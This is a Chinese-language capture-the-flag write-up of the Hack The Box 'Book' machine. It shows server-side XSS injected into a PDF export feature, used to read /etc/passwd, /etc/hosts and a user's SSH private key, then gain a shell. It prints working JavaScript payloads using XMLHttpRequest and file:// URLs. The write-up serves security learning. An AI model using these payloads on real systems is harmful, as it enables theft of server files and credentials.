XSS 从 PDF 中窃取数据

XSS 从 PDF 中窃取数据

将服务器端 XSS 注入到动态生成的 PDF 中

在 hack the box 的 Book 机器**(Scripting Track)**上,我遇到了一个 Web 应用程序,它使用用户控制的输入来生成 PDF 文件。用户输入输入,下载时该输入将呈现为 PDF 文件。

我从阅读许多文章中意识到与动态生成的 PDF 相关的 XSS 和 SSRF 漏洞,但直到我遇到 Book 机器才自己尝试过。

当我每次单击PDF链接时都看到下载功能生成PDF文件时,我开始再次搜索与此漏洞相关的漏洞赏金文章,以刷新我对如何利用它😃的记忆。

我发现攻击者可以制作在服务器端执行的 Javascript 代码并检索内部文件内容。它基本上是一个存储的 XSS 漏洞,可以通过将其与本地文件包含或 SSRF 链接以泄露内部数据来升级。

🎯攻击方式:

  • 本地文件包含
  • 服务器端请求伪造

我将重点介绍如何利用 XSS 漏洞并将其与 LFI 相结合,以检索本文的内部文件内容。对于演示部分,我将使用图书机。

演示:

Book 机器上的 Library 应用程序有两用户;一个普通用户,另一个管理员。我们在两者上都经过了身份验证。

在用户中,用户可以在图书提交部分下的"馆藏"页面上上传文件。

管理员 面板中,"收藏夹 "页面可以通过单击 PDF 链接将据称从用户门户上传的文件的收藏列表导出为 PDF 格式。

在许多情况下,基于用户输入生成 PDF 文件的功能可能容易受到服务器端 XSS 的攻击,从而导致数据从易受攻击的应用程序中泄露。

因此,我开始编制基本的测试清单来测试应用程序。

🔎 测试检查表:

  • 识别可注射输入物
  • 尝试 HTML 标记注入,看看应用程序是否解析了 HTML 代码。
  • 读取内部文件时,测试不同的文件协议,即文件、HTTP、HTTPS。
  • 使用 JS 注入读取内部服务器文件。

📌Synack 提示

始终检查运行 JS 代码的页面上正在运行的协议类型。如果页面在 http:// 或 https:// 协议上运行,则文件协议(file:// 协议)不能用于读取本地文件。

1-识别可注射的输入

浏览用户的门户,"书籍提交"部分似乎非常有趣。它有 2 个输入字段和一个上传选项。

输入字段用于书名和作者姓名

2- HTML 注入

在"书名"和"作者"字段中插入基本的 HTML 标题标签,然后选择要上传的文件。

<h1>r3dbucket</h1>

在 Burp Suite 中拦截请求,以检查我们发送到应用程序的请求详细信息。

并且,一旦我们将请求发送到应用程序,我们就会切换到管理员面板并单击 PDF 链接以生成 PDF 文件。


PDF 导出链接

完成后,我们打开文件,我们看到 HTML 标签在后端被解析并包含在文件中。棒!!

3- JS注入读取内部服务器文件

在以下步骤中,我们尝试测试一个基本的 JS 有效负载,看看它是否执行。我将尝试在文件上写入单词"test"的 onerror 有效负载。

<img src="x" onerror="document.write('test')" />


在输入字段中注入 JS


JS 是在生成 PDF 时执行的

正如我们所看到的,JS 代码被执行,单词 test 包含在文件中。下一步是确定应用程序用于了解我们将如何读取服务器上😈的内部文件的文件协议。

我使用下面的内联来获取当前页面的完整 URL。

<script>document.write(document.location.href)</script>


正如我们所看到的,应用程序使用 **file/// 协议。**

接下来,我们可以使用 XHR 请求 检索 host 和 passwd 文件的内容

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/hosts');x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>


/etc/passwd 文件


/etc/hosts 文件

4-检索SSH密钥并访问计算机

当我查看 etc/passwd 文件的内容时,我看到用户 Reader 在服务器上具有 bash 登录名,这意味着我们可以通过 SSH 连接到服务器,因为端口 22 在机器上打开并获取交互式 SSH shell。

默认情况下,在 Linux 中,SSH 私钥 (id_rsa) 驻留在主目录内用户文件夹中的隐藏目录 .ssh 中。在我们的例子中,它将是 (home/reader/.ssh/id_rsa)

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

有了这个,我尝试使用默认路径读取文件,并提取密钥的内容。


SSH 私钥

接下来,我需要将 pdf 转换为文本以提取密钥,我不能直接从 PDF 文件复制。我在 GitHub 中使用 pdf2txt.py 脚本来做到这一点。

该脚本是pdfminer工具集合的一部分

GitHub 上的 pdfminer 集合

Pass the pdf file that has the SSH key to pdf2txt script and we can get the key.

python3 pdf2txt.py ssh.pdf


Reader's SSH Key


SSH shell

5-防护

  • 在将所有用户输入发送到应用程序之前,必须对其进行清理和验证。
  • 对 XSS 和 HTML 有效负载中使用的所有字符进行编码。
  • 在应用程序前面实现 WAF 解决方案